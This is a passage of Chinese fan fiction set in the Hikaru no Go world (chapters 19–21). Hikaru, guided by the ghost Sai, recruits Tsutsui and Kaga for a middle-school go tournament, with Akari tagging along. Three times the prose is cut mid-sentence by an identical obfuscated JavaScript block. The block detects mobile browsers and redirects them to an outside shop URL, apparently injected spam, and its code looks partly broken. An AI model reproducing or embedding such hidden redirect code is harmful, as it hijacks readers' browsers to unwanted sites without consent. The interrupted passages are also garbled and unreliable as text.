“总之先过去一趟吧,去了再想办法!办法总比困难多!” 被树干这么一砸,光反而恢复了精神。 毕竟这辈子他的目的就是不留遗憾。他看了看满头问号的佐为,又想起佐为和他曾在中学围棋联赛上并肩作战的快乐往事,光决定还是尽快抽空亲自去一趟叶濑中学—— 总之管他三七二十一抓住筒井公宏教唆一顿再说。 隔日放学后,光叫上藤崎明一起来到叶濑中学,感到最多的心情却是怀念。 没错,就是怀念。 真神奇,他甚至连每一棵樱花树的位置都能记住,也记得化学教室里每一面棋盘的位置,记得在校门口迎面吹晚风的感觉,这所学校在他的世界里,就是这样深刻的存在。 “嗯……小光,你要找的前辈是二年级吗?叫什么名字?”藤崎明还是第一次到学校里面来,望见四处游荡的光,她连忙拉住他的胳膊,“不要到处乱跑啦!万一被轰出去怎么办?” “不着急,先四处转转,以后我们还要到这所中学来念书呢。” 还是光心理素质好,身为成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13211750|139277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年人,他毫不害怕威慑小孩的校规,就是遇上校长也能高低辩论两句《教育法》。 忽然,他瞧见了不远处的海报墙,一时心跳加速。 上面张贴着各式各样的社团海报,其中有一张毫无设计的廉价白纸,只用黑色毛笔写了“围棋部”三个字,顺便画了巨大的黑白两颗棋子,看得出来创作者已经尽力了。这糟糕的美学素养让画技不错的藤崎明忍不住感叹了一声“唉”。她没想到,身边的光会对那张丑得惨不忍睹的海报感兴趣。 光露出了开心的笑容。 看来筒井并没有放弃。就算没能在学园祭里凑够人手参加联赛,他也还是喜欢着围棋,并且想找到和他一样喜欢围棋的人。 只不过看样子,他暂时没能找到而已。 “你们,对围棋感兴趣吗?”熟悉的声音从身后传来。 光回过头,说话的人正是戴一副黑框眼镜的好学生筒井,他一看到有人站在自己贴的海报前,马上快步走了过来,不掩眼中的兴奋。 这家伙依旧是老样子,文质彬彬又不善言谈。就是这样的筒井才可爱! “你好,前辈。”光马上露出了人畜无害的眯眯眼笑容。 筒井却是受宠若惊地摆摆手:“别客气,你这身制服……是小学生?来叶濑中有什么事?” “我叫进藤光,小六生,四月应该会来叶濑中上学,爱好是围棋。” 简短的几句自我介绍,光觉得已经足够了。果然,筒井一下就抓住了“围棋”的关键字,话立刻变多了起来:“你也喜欢围棋呀,太好了!可惜我们学校的围棋部还不算正式成立,到目前为止,部员也就我一个人而已……” “这么惨啊?” “不瞒你说,是真的很惨。其实建立一个社团本身不是什么难事,唯一的问题是最少要三个人才能通过审批,否则就没有活动室,也没有活动经费。”筒井老成地摇摇头,“只有我一个人的社团……听上去就相当不靠谱呢,所以大家才都不愿意加入吧。哈哈。” 说着说着他都快哭了。 佐为看不下去喜欢围棋的人受此劫难,连忙摇摇光的肩膀:“我们帮帮他吧,小光!” “好啦好啦!我就是为了这个才来的!” 光让佐为先冷静下来,又在藤崎明充满疑惑的目光中,对筒井开口道:“如果是这样的话,我可能有个办法。” “……办法?” 筒井睁大了眼睛,也许是没期待一个小学生能给自己多好的建议。 光却自顾自地接着说了下去:“冬季的中学围棋联赛,你打算参加吗?要是能想办法参加联赛的话,学校肯定就会承认你们了吧。” 这句话偏偏戳中了筒井的痛处,他艰难地低下头。 “不行的,那是集齐三人才能报名的团体赛,就我一个人怎么可能参加?” “所以说,要算上我啊。”光指着自己圆滚滚的脸蛋,说。 这句话来得太突然,以至于筒井完完全全愣住了,半天没能反应过来。除了一头雾水地看着稚气未脱的光的脸之外,他再做不出其他动作。 “诶?” “哎呀!我扮成叶濑中的学生去参赛不就行啦,这么简单的事。”光的笑容那叫一个有恃无恐,“我听说,你们学校不是还有个叫加贺的家伙也很厉害吗,我们三人一起去,保证能够打进决赛!” 光自信满满的神态吸引了筒井,不过那也只是一瞬间的事,下一个瞬间,一个激灵惊醒的筒井就慌忙拒绝: “绝对不可以!谎报学籍参赛可是违规的啊!这怎么行?!” 藤崎明也震惊地附和了起来:“是啊,小光!你再想下棋也不能假扮成国中生吧?太勉强了!” “可是,难道筒井前辈不想成立围棋部了吗?”光故意拖长声音吊住他的胃口,“我可是很强的哦,赢那些围棋会所的大叔轻轻松松,算我一个绝对不亏啦,实在不行的话,这边的藤崎明小姐也稍微会下一丢丢,可以女扮男装凑个人头。要是运气好拿了冠军,想成立一个社团……还不是手到擒来的事?” “这……” 筒井被他说得有点犹豫了。藤崎明见自己也卷入其中,连连摇头说“我不行”,一副惊慌失措的样子。 此时,身后传来了一个刺耳的声音。 “一放学就听见有小鬼口出狂言,怎么,筒井,你只能依靠这样爱说大话的小屁孩帮你擦屁股了吗?” ●○●○ 20. Chapter 19. 大家都爱塔矢亮 红发的不良少年加贺铁男突然现身了,就算穿着制服,他也能把循规蹈矩的款式穿出一副嚣张上天的搭配,头发蓬乱得要命,皮带上还有奇特的刺绣,实在看不出来他这身打扮是认真的还是开玩笑的,看起来就不像好人。 “加贺!你来这里做什么?”筒井见到来人是他,目光有些闪烁。 “做什么?这又不是你家开的学校,老子想四处转转凭什么还要向你汇报啊?”加贺不屑地咬着一根香烟,用看小丑的眼神看着进藤光,“依我看,围棋部还是亡了算了吧,连这种小不点都被你拉来充数。干脆大家都改下将棋,你好我好大家好。” 筒井的脸色变得有点灰暗。 “跟你没关系,既然你不想帮忙,就别总是揶揄我……” “咳咳。”心里明白加贺其实是想帮忙、只是在乎面子不肯低头的光咳嗽两声,示意筒井不要再说多余的话,然后转向打量着他的加贺,“这位前辈一看就很聪明,莫非也能下一手好棋?那不如你也一起来参加比赛吧!” “进藤君!他可不是……”筒井不安地拉住光的胳膊,想要制止这自讨苦吃的请求。 加贺眼中有些得意。 “哈,我确实下得一手好棋,那又怎么样,我为什么要帮他?” 进藤光能一言道出他会围棋的事情,语气里又没有责怪或是央求,加贺对这个孩子产生了一点兴趣。他们以前见过吗?应该没有吧。这种奇异刘海的颜色,他要是见过是绝对不会忘的。 光指了指他,又指了指垂头丧气的筒井,和踌躇满志的自己:“因为我们需要你啊!参赛需要三个人才能报名。” 加贺才不吃热血漫画这套。 “你们需要我,可我不需要围棋。将棋要好玩多了。” “但是你以前打败过塔矢亮吧?说不定塔矢也会去这次的比赛哦。” ——塔矢?! 这句漫不经心的台词一下击中了加贺的心防。 他咬着烟头的牙齿都不自觉松开了,就差把惊愕直接写在脸上,但心理素质极强的他还是忍住了这种冲动,只是满脸阴沉地盯着这个头发颜色奇异的小鬼。 为什么,他会知道这种事? 加贺当然起了疑心,但无所谓这小子如何打探了自己的过去,自己都不可能会上当。 于是加贺发出了夸张的一声嘲笑:“哈哈!骗人也先搞清楚情况,塔矢亮是职业等级的棋手,怎么可能参加区区中学的比赛?” “看来你也认可他的实力嘛。”不知为何,这小子总能精准抓住他加贺铁男的痛点,每句话都在雷区蹦迪,语调也欠揍得恰到好处,“不过,我说他会来,他就一定会来,因为他无论如何都想和我下棋呢。要不要打个赌?赌输的人要去湖里冬泳一圈哦。” 这、个、家、伙! 受到挑衅却不反击,这不符合加贺王将的个性! 加贺咬牙切齿地笑了起来,两手恶狠狠挽起袖子,语气像在打磨准备杀猪用的大刀。 “有点意思!你这小子,和塔矢亮有什么渊源?” “哦?莫非你怕他?” “怎么可能!区区塔矢亮,只是我的手下败将而已!” 加贺高傲地伸直了头颅。筒井似乎想反驳一句“不可能吧”,却被加贺极富杀伤力的眼神活生生瞪了回去。 这样才好,光笑容满面地双手插上了腰。 “既然不怕,那打倒塔矢亮的任务就交给你了!就这么定了!” “激将法是吧!遇到我——算你激对人了!” 加贺铁青着脸,压抑的怒气随时会爆发。但他并没有发火,因为刚才进藤光一下子就抓住了他的软肋。 其实加贺并不是铁石心肠的人,也不是真的讨厌围棋,说不想帮忙纯粹是一时意气,这一点在很多年后的同学聚会上他还当成笑话讲给光听过。 看着筒井着急的样子觉得心里很舒服——光记得加贺当时是这样说的来着。从某种意义上来讲,加贺倒真是有点喜欢捉弄筒井,他们就是一对欢喜冤家。 所以其实只要光耐心拜托他,他就一定会帮忙参加联赛。 更何况光还故意提起了塔矢亮。 那个他最讨厌的塔矢亮。 加贺并不是在逃避围棋,因为本来一开始就是父亲强迫他去下围棋的。加贺的父亲不知道为什么,一直逼着加贺去学围棋、而不是将棋。也许他有自己的想法,或是单纯的自己喜欢吧。他从没告诉加贺任何原因。这一间有名的围棋教室出了很多职业棋士,于是父亲每个周末都会带加贺过去,那时加贺才八岁。 如果父亲不要求加贺必须在围棋教室中保持第一、不总是用严厉的语气逼问加贺为什么只能拿第二的话,加贺并不讨厌围棋。 第一名一直都是塔矢亮。 那一天,父亲比平常更严格,他对加贺说如果今天再没办法赢过塔矢亮的话,就不准他进家门,然后便自己走掉了。 当加贺准备要回教室时,正好巧遇了亮。虽然谈话被听到有点丢脸,不过其实他也没有这么在意父亲的话。 塔矢亮确实很强。这是加贺冷静的判断。但他并没有像父亲那样这么地拘泥于名次。加贺看过许多学围棋的小孩,太多被称作很强很高明的人,在临场的棋局里却无法发挥实力;有完全不懂规则然后慢慢学习,最终变得很厉害的人,也有一直被认为实力很弱,但却忽然突飞猛进的人。 所以加贺一点也不悲观。现在确实是塔矢亮比较强,但日后就不一定了。 不,加贺决定总有一天一定要超越塔矢亮,他如此坚信着。 然后那天的对弈开始了。在互相打招呼之后,棋盘前的塔矢亮说道: “我……故意输给你……好不好?” 那时候加贺的心情真不知道该怎么形容。失望与错愕,以及悲惨。 加贺终于意识到亮根本没有把他当作对手,根本没有把他放在眼里。不只如此,说得明白一点,对亮而言,加贺根本没有当他对手的资格。 加贺拒绝了亮的建议。无论如何,他今天一定要赢,他的心中升起强烈的求胜愿望,于是他放了子。 终局后加上贴目,加贺以一目半之差赢了亮。 棋局结束之后,他若无其事地看着亮的脸。加贺没问亮是不是故意放水,他也是有志气的。而且如果亮真的是故意输棋的话,他恐怕会就此一蹶不振了吧。 然后,当天晚上,加贺对父亲说,他不要再下围棋了。虽然被父亲打了一顿,但是他仍然如此坚持。父亲不停地逼问原因,加贺才支支吾吾地说出跟亮发生的那件事。从此以后,父亲就再也没再逼他下围棋了。 从他开始下将棋,如今已经是第四年了。与围棋不同的是,将棋的输赢非常迅速。无论被拿取多少棋子,只要吃掉对方的王——帅棋的就是赢家。跟互相争夺地盘的围棋比较起来,直指敌阵核心的将棋反而还比较对加贺的味。 加贺一直对将棋比较认真,而围棋只是打发时间的东西。 只是,看见辛辛苦苦组建围棋部却举步维艰的筒井,他内里某处升起了一丝淡淡的共鸣。他不希望自己曾经认真苦练过的围棋被其他人弃之如履,也不想看到追求自己梦想的人被现实那么轻易地击倒。 筒井的表情,让他回忆起了他转学将棋时最初那段艰难的日子。 加贺只剩最后一个问题。 “你叫进藤是吧,为什么这么肯定我会同意帮忙?我这人最不喜欢被耍,解释清楚这个,我才同意你的赌约。” “因为……我们有过一样的经历。” 光思考了一会儿,给出了这样一个算不上答复的答复。 “一样?我?和你?”加贺有些发蒙,他没有预料到光会说出这句驴唇不对马嘴的话来,“哪里一样了?!总不是身高吧?!” “你以前输给塔矢的时候肯定很不甘心,对吧。”光却说得格外有理有据,看样子不像在撒谎,撒谎的人不会露出这么严肃的表情,“……我也是。曾经有一次,我输给他输得落花流水,那是我一辈子最屈辱的时刻。” “……” “作为同样曾经输给塔矢亮的伙伴,我们要是不并肩战斗,就说不过去了嘛。” 加贺看了看微笑着的光,好久没再开口说话,一旁的筒井一直紧张地注视着这二人的互动,见加贺沉默良久,心下越发觉得没有希望,只盼着光能不惹恼这个家伙就好。 就在这时,加贺却出声了。 “要我帮忙也不是不可以,但是首先我得确认小子你的实力。你要是真的能被塔矢盯上,那棋力肯定非同一般吧?我可不想被一个只会说大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13211751|139277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话的白痴说教!” 进藤光轻松地点点头道:“乐意奉陪。” 进而,回头冲着佐为挤挤眼睛,“佐为,你来下吧。” “我吗?”佐为指向自己,疑惑地问,“没关系吗?” “没事,下吧,对付他你绝对轻而易举,好好下一局指导棋就行了。他的实力大概是围棋会所里那些大叔的水平。”以防万一光还是叮嘱了几句,不能让佐为太自由发挥,一开局就把人家吓出心理阴影。 “明白!那我们就上吧,小光!” 佐为摩拳擦掌了。 藤崎明在一旁格外不安地看着一切。她也搞不清楚怎么就演变成这种状况了。 小光要和叶濑中的两个陌生人一起去参加围棋比赛?还要假扮国中生?还要现场和其中一人一决胜负?为什么啊? 加贺那边已经有点不耐烦,他直接拉着光去了校门口最近的围棋会所,找了最靠门口的座位,二话不说,动作粗鲁地打开棋盒,道:“我也不欺负小孩子,要让几子你先说好了。” 光摇了摇头,他已经说腻这句话了。 “不用让子,我们互先。” “哼,口气倒不小,希望你是真的有那么大的本事!” 没了解光的棋力之前,加贺并不敢掉以轻心,此时也没有心情嘲笑光的自大。不过他要是知道进藤光在两周前刚赢了塔矢亮和绪方,又在前天与塔矢行洋的让先棋里险些获胜,或许会对这个吐槽光“口气倒不小”的自己感到瞠目结舌吧。 “放心,不会让你失望的,加贺前辈。” 上一世的对局,是在一片争吵中混乱地开始的。相比之下如今他们两人的关系好像和谐了不少。 “请多指教。” “请多指教。” 加贺瞄到筒井正在一旁看他们比赛,一副不知如何是好的样子。大约筒井也对这小子的棋力没什么信心,怕他输得太惨、不好收场吧。他内心一定都开始为道歉下跪打草稿了。 不过,加贺的眼珠向下转,又向上转,这个叫进藤的小子好像并不会让事情走到那一步。 棋下了几手,通过这娴熟的姿势和强大的气场,加贺慢慢改变了他对光“满口吹牛”的刻板印象。 看样子像是下过很多年围棋,不是初学者,布局很严密,应对也很科学,但年龄又确实只是个小学生,这不禁让加贺认为那种强悍的气势是单纯的错觉。 坦白说他很意外光竟然这么厉害。 进藤光的棋步让他的视线离不开棋局,甚至还一路进逼,将他耍得团团转。 不知不觉,竟然已演变成势均力敌的局势。 ……想不通。怎么会这样? “好开心哦!” 不知道是不是察觉到加贺内心的慌张,佐为满脸通红地盯着棋盘。 跟塔矢亮完全不同的棋路。虽然实力不及塔矢亮,但是加贺回应的每一手都很有意思。对佐为而言,要赢这盘棋一点也不费事,只是他还想再多下几手棋和他玩玩。 “小光,接下来是九之十九。”他指示了一步要试探加贺实力的棋。 这个关键时刻,藤崎明的内心也产生了某种奇妙的变化。 她似懂非懂地看着棋盘,虽然前面几周她已经在白川老师那里学过一点基础知识,但是还远远没到能看懂完整对局的地步,对棋局的理解也仅限于吃子和简单布局而已。 即使是这样的她,也能懵懵懂懂地感觉到,光下出的是一局很厉害的棋——因为这局棋和白川老师让她打谱的名人名局有些相似的结构。 可是,为什么小光会这么厉害?以前都不知道他会下棋啊。 为什么从那天开始,他嘴里说的、心里想的,就全都是和下棋有关的事了呢? “……” 而这边,加贺却已是冷汗涔涔。他怎么会不知道佐为这一手是在试探他的实力,只是这样被俯视着的感觉实在太压抑。 原本以为这个小子最多和自己平手而已,没想到会遇到如此棘手的一招。 他不遗余力地回应着,想要彻底断绝对方试探他的心理,跟着对方的棋路一直前行,脸上却逐渐浮现出了不自然的表情。 这哪里是一个普通的小学生能拥有的素质! 太夸张了吧!! ●○●○ 21. Chapter 20. 叶濑申请出战 棋盘上的局势逐渐不听使唤,原本不相上下的状况逐渐倾斜,虽然实地上加贺并没有落后多少,但他心里很清楚,这是对方在让他。 被一个棋力远高于自己的孩子让棋,加贺心里有些懊恼;懊恼,却不愤懑,更没有战败的羞耻感,坦率地说这个家伙的实力确实足以得到他的认可。不,或许远远超过了他的预期。 就像当年的塔矢亮一样。 只有每时每刻都在想着围棋的人,才能下出这样的好棋。 “……我认输。” 还没到形势大定的时候,加贺就主动认负了。认得还特别果断。 最惊愕的人是筒井,他心目中最强的加贺居然在中盘就放弃了对局,甚至语气里没有一丝不服!可想而知,对方的棋力有多么高深! “承让。”光弯下腰,“这下前辈愿意参加比赛了吧?” “一言既出驷马难追,我才不会做出反悔那等没节操的事!”加贺撑着桌子坐直,眼睛紧紧盯着进藤光,“不过你真的让我大吃一惊啊,小子,怎么看你都有职业级的棋力,为什么会对中学的围棋比赛感兴趣?” “诶?!”这下最震惊的人变成了一直陪在光身边的藤崎明,“职业?可是,小光开始下棋也才几——” 光马上机智地捂住了她的嘴。 现在还不能暴露!既然被发问了……就想办法圆回去! 然后他笑嘻嘻地回答加贺:“因为我想提前组建好围棋部,免得以后入学了还得再麻烦一遍。走流程也很花时间的嘛。” “进藤同学真的要来叶濑中?!太好了,你这么厉害,围棋部有希望了——”筒井喜极而泣地一把抱住了光。 “我说筒井前辈……别激动啦……” 加贺一把抓住他的衣领,把重点扭转了回来:“不对!问题不在这里!职业级的棋士为什么要来中学围棋部?而且还是这种部长菜到不值一提的围棋部?在这种地方,就算玩玩也只是浪费时间吧!” 筒井仿佛膝盖中了一箭。“这种地方”。确实,他无法反驳。他看不出光的实力究竟有多强,刚才那一局,如果换成他来下肯定会中途就败得一塌糊涂,他也只能判断到这里为止。 加贺提出的问题,让他有点担心会改变进藤光加入围棋部的主意。 “等一等,加贺!” “我没说过我要加入围棋部哦。”光却很坦率,“我马上就是院生了,院生是不可以参加业余比赛的。” “……什么?” 筒井完全愣住了。 藤崎明则压根不知道什么是院生。 只有对围棋足够了解的加贺才顿时勃然大怒。 “搞了半天你还是在耍我?既然你明知道,院生根本就不能——” “是的,院生不可以参加业余比赛。所以我要趁正式变成院生之前,了结这个心愿。”光轻巧地躲开了加贺的拳头,游走到藤崎明身后,将一脸紧张的明推到台前,“安啦,要加入围棋部的不是我,是这位藤崎明小姐。” “哈?”加贺满头问号。 明连忙红着脸解释:“不是,我没有,小光……” “她也对围棋有点兴趣,我会好好把教她成能和筒井前辈下让先的水平的,就让她在叶濑中也有个能和朋友一起下棋的地方吧!” 光拍拍藤崎明的肩示意她不必慌张,他的笑容还是那么阳光,让明一时失去了反驳的理由。仔细一想,要是小光能经常抽空来教自己下棋……那好像也不错? 但加贺就不懂了。 居然为了这种目的,绕了这么一大圈?是喜欢这个女孩?还是喜欢把围棋推销出去的感觉? 看着都不像啊! “……倒是个有意思的小子。”加贺盯着他淳朴老实的笑容想了半天想不明白,干脆先不想了,他喝令筒井脱下身上的校服,一把扔给光,“也罢,理由我就不计较了,周日的时候你直接穿着它到海王中来吧!” “加贺……也就是说!”被扒了衣服却内心一片欢呼的筒井更加欣喜地望着加贺。 “要下,就一定要赢!让那个塔矢亮看看我们的厉害!” “好耶!” 虽说不太认可光的答案,加贺心中却早就有了自己的答案,他没有必要再去细究光的事情,因为他们二人的心情实际上是一样的。 不,他们三人的心情都是一样的。 喜欢某种东西的心情,是会直接表现在行动上的。 “真是的,筒井你也坚强一点好不好,一个大男人整天哭哭啼啼的像什么样子……” 嘴上得理不饶人地抱怨着,加贺的嘴角却在筒井看不见的角度微微扬起。他好像稍微有点明白了,为什么自己会这么的想插手帮助他们。 从空中传来一声清脆的鸟鸣,这个发生了很多事的傍晚渐渐隐去,惊鸿一般改变了三人的生活。 两周后。 2月的第一个周末,是北区中学围棋联赛即将进行的日子。 就在前一天午后,藤崎明提出要到进藤家学围棋,光哼哼了一阵只得同意,毕竟放话说要教她学棋的人就是自己,这个兼职老师他不当也得当。 不过虽然勉强怀着好好招待对方的心情把明明领回了家,进藤光却一进屋就摆上棋盘开始发呆。 藤崎明叹了口气,轻轻地关上房门,略带不满。 此刻性子大条的光心思飘飞到了很远的地方,他一言不发地沉思着什么,直到耐心耗尽的藤崎明一句“我说”转移了他的视线。 “我说,小光,你真的要扮成国中生参加那个比赛吗?”明明担心地交错十指,“要是被发现了怎么办?” “啊?没事没事,要是被发现了,最多也就是取消参赛资格嘛,让他们鼓起勇气去参赛才是最重要的目标,现在这个目标已经达到了。” 进藤光这才想起往棋盘上摆棋子。 “诶……”明不掩困惑,“小光最近真的好奇怪,你明明说是去叶濑中找认识的前辈,结果人家根本不认识你嘛。” “先不说这个……你在围棋教室学得怎么样了?白川先生讲的东西都不简单,你能听懂吗?” 藤崎明听他提起这个,骄傲地昂首道:“那还用说!我才没有你想象中的那么迟钝呢!白川老师都夸我进步快了!” “那我就从中级死活题开始讲吧。” “这道我做过了!” “哦,那这种的呢?” “也很简单!小光,我是在认真学棋喔,不要一直把我当新手!” ——最迟钝的人,根本就是小光你啊…… 佐为则完全不知道明的少女心思,只是充满欢喜地一把抱住光的头、揉来揉去。 “大家都在学围棋,好高兴耶!快给明明介绍一下对杀吧,小光!” 进藤光无奈地笑着:“佐为你也真着急……万一她嫌难不学了怎么办。” “可是,明明说过会好好学的呀,你不相信她吗,小光?”简直是瞬间180度大变脸,佐为泪眼汪汪可怜巴巴地看着光,看得他不得不于心不忍。 “好啦好啦……我知道了,我也认真教她。” 藤崎明自然无法参加他们的对话,此刻与进藤光之间沉默的气氛让她变着法儿地想找点话题来驱散冷空气,回想起早上围棋摊前小光的经历,她充满期待地对光说:“对了,小光,明天的比赛,我可以跟着你去看吗?” 闻言,光挠了挠脸颊:“只是看看应该没问题,你想来的话就一起来好了。” “真难得。”藤崎明冷不丁冒出这么一句。 “什么?”进藤光一脸困惑地愣住。 “最近我想约你一起出门玩的时候,你总是拒绝呢!我还以为是小光讨厌我了。” 看着她满脸灿烂如花的笑颜,光突然觉得有点愧疚。 上一世藤崎明为他付出了很多,他却一直自作主张地无视掉,朋友也没有这么当的。 “什么嘛,说得我好像总是在欺负你一样……我只是担心你对下棋这么枯燥的事没兴趣而已啦。既然你想去,那明天就准时楼下见咯。”光接着她的话头补充道。 “嗯!说好了就不准反悔哦,小光!” “一言为定。” 和藤崎明做出约定后,光又继续和佐为对弈、打谱、补充睡眠。就这样很快到了第二天。 从进藤光家到海王中学的路,光走过好几次,渐渐映入眼帘的是三三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13211752|139277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两两的枫树和参差不齐的小别墅,看起来和普通街区没什么两样。但实际上,这附近所居住的大多是条件不错的富人。 之前由于塔矢亮总是被海王的校长以各种各样的理由请回母校、帮他们的围棋社讲棋,而塔矢亮并非那般善于应酬交际的人,总是推辞不过校长先生的威逼利诱,只好抽空前去,闹得进藤光也不得不跟他一起到这里接受海王众天才少年的围观。 海王的孩子或多或少地遗传了他们父辈的基因,有钱人的傲慢大概莫过于此,听见进藤光满口不加修饰的大白话,看着他一贯随便的举止作风,大抵也都心下有些鄙夷,只是不会表现在明面上罢了。 所以进藤光很不喜欢来这个地方。 但是如果是因为叶濑中的缘故的话,他也没有办法。 比赛会场所在的海王中学,跟叶濑中学感觉上是不同的气氛,围墙很高,建筑物也充满森严的氛围。毕竟海王可是全国有名的升学国中,实施男女合校、国高中一贯教育的名校,要取得入学资格必须通过比一般考试还要严格六倍的入学测验。而且因为以文武双全作为校训,所以除了学业之外,同时也举办了许多社团活动,无论是哪一种比赛,不管是文科或是体育项目,海王中学都常常是榜上有名。 偶尔他也能在电车上碰到海王中学的学生,他们穿着高级的蓝灰色制服,配上一脸精明能干的脸孔,总是吸引着众人的目光。这种情形上辈子的光已经见多了。 “进藤同学,你到得真早。” 直到筒井有点小激动的声音传进自己的耳朵,光才猛地想起他来海王的目的——不是来讲课的。 于是他换上笑脸转过身去:“早上好,筒井前辈!” “早上好,比赛就要开始了,我还真挺紧张的。藤崎同学呢?” “她还没来。可能是睡过头了吧,别管她了,待会就突然会出现的。” “哦……” 筒井抚平情绪的标志性动作就是扶眼镜。想必常年戴眼镜的各位都知道,心里打鼓的时候扶眼镜是一个多么自然而然水到渠成的过程,往往是当你还没有发现时它就已经发生了。 进藤光忍住吐槽眼镜的欲望,乐呵呵地冲筒井身后吊儿郎当的加贺铁男打招呼:“哟,加贺前辈!” “给我认真说句早上好会死啊!”加贺铁男给了他一记头拳。 “嘛……嘛……加贺,我们快进去吧……”永远的和事佬筒井马上劝和。 “耶!去下棋~下棋~” 佐为早就等不及要凑到棋盘面前去了。他的欢呼还是像从前一样单纯而温暖。让人想更加珍惜。 进藤光无可奈何地摇摇头:“佐为,昨天晚上你不是已经下过很多盘了吗,不用这么急吧……” 他的话让佐为很是不满。 “小光,你怎么能这么说呢?围棋当然是下多少盘都不会腻的啊!” 看着佐为一脸一本正经的严肃表情,配上他绝佳的大萌脸,进藤光只能乖乖缴械投降:“好啦,算我说错话了还不行吗。” 虽然是在抱怨着,但进藤光的嘴角一直挂着淡淡的微笑。他喜欢和佐为之间这样亲密无间的关系。 三人像模像样地踱步走进海王中学的大门,周围还有很多看制服是其他学校的孩子,他们彼此之间都在好奇地打探着对方的情况。战争的序幕拉开之前,大家都是一派和和气气的样子。 “今天的人还真不少……” 看见这样的场景最欣喜的当然非筒井莫属。毕竟这个原本不存在的围棋社还能来参赛,大半都是他的功劳。 单凭爱好去做一件没有利益的事很困难,也很需要勇气,甚至要背负失败的风险。这样的选择进藤光在此后的人生中了解了太多太多,所以对上筒井乐在其中的笑颜时,他只希望这个瞬间能更长一点。 有些美好的回忆只属于年轻时代啊……趁着摔倒也不会念念不忘的时候,就让他们在围棋的世界多停留几天吧。 “请问,你们是哪个中学的?” 三人在赛场入口做登记的时候,忽然,从一旁练习区来了一个友善的搭讪者。 是个生面孔。至少进藤光并不记得他。 ●○●○ 22. Chapter 21. 进藤光粉丝+1 也是,由于上辈子进藤光来海王比赛时、被佐为催促去看别人的练习赛、还表演了一个当场复现棋局,登记全权交给了筒井,所以他并没见过这个向筒井询问的黑发少年。这家伙个头不高,脖子上挂着一台单反相机,看上去精明但不虚伪,唯一奇怪的点是睫毛纤长得像个女生,但穿着的确实又是男生制服。 他指了指自己的相机,“可以采访一下吗?” 原来是个记者。怪不得记忆中的那时候光和佐为闯了祸、筒井却没有立即赶来救他,搞了半天是被人拉走了啊…… “我们来自叶濑中,今年是第一次参赛。”筒井轻轻点头作为回应。 黑发少年很熟练地对他伸出了右手,声线充满话剧腔:“第一次吗?难怪没听说过这个学校!我是佐和良中学的围棋社宣传组长,久原木子郎,希望能在准决赛见到你们的英姿。” 日本人见面不流行握手,筒井也一时没反应过来,慢半拍才想起握住他的右手。 “啊、久原同学,你好!我们是叶濑中的筒井,加贺,和进藤。” “……进藤?” 听到这个姓氏,久原停顿了一下,好像总觉得有点耳熟。 不过让加贺感到奇怪地扬起眉毛的,是他的前一句台词:“你说准决赛?” 筒井赶紧出面解释。“按照赛程,如果我们第一局对川荻中学获胜了的话,就会和佐和良中学或是阿由中学这两所学校里的胜出者对局了。” 加贺看起来就很凶的样子,万一被别人当成是刻意挑衅就完了。虽然实际上他也确实刻意挑衅了对手——上辈子在正式比赛开始之后的第一秒就憋不住放了狠话。 “哦?那你是主将还是副将?”显然加贺已经跃跃欲试了。 久原率先伸了伸双手,“Don''t mind!我只是个记者,不会参赛,公平地记录每支队伍的表现才是我的本职工作。要是押中黑马的话,就能写出很棒的新闻了!” 真是个浮夸的家伙。进藤光抬头看了看赛程表,确实,第一轮的比赛是海王中学对浜地中学,田井中学对岩名中学,阿由中学对佐和良中学,以及,川荻中学对叶濑中学。 看这个小记者的意思,似乎是自己的学校很有把握在第一轮胜出,同时鼓励筒井三人打败川荻。他居然能够看好一个名不见经传的新人中学,进藤光觉得这少年还挺有趣。 不过,他为什么一直看野生动物一样要盯着自己看? 该不会是自己假扮国中生被发现了吧?!光连忙裹紧了身上那件过大的校服。 “那么,我还要去采访赛前的选手,待会儿见。”少年注意到光警惕的目光,连忙挪开视线,笑着挥了挥手,转身离去。 这时站在光身边的加贺铁男已经开始疯狂抖腿了。 他自始至终紧张的只有一件事而已。 “——喂进藤。你不是说过塔矢亮会来吗。他人呢?” 海王那堆准备区的参赛选手里,并没有他熟悉的身影。参赛的总共也就八所学校,每个学校最多男女两队六个棋手,会场里谁在谁不在一眼就能看清,如果塔矢亮出现在其中,他绝不会看漏。 “嗯。”光却露出了那标志性的人畜无害微笑,承认道,“塔矢的话早就已经来了哦,现在他正在校长室和校长老师谈话呢,稍后就会来看我们的对局。” 这转折打了加贺一个措手不及。 “啊?意思是……他不是作为选手来?!”加贺抽搐着嘴角,“你敢耍我玩啊?小鬼!” 光连忙摆手后退三步。他已经预判了加贺的铁拳攻击范围。 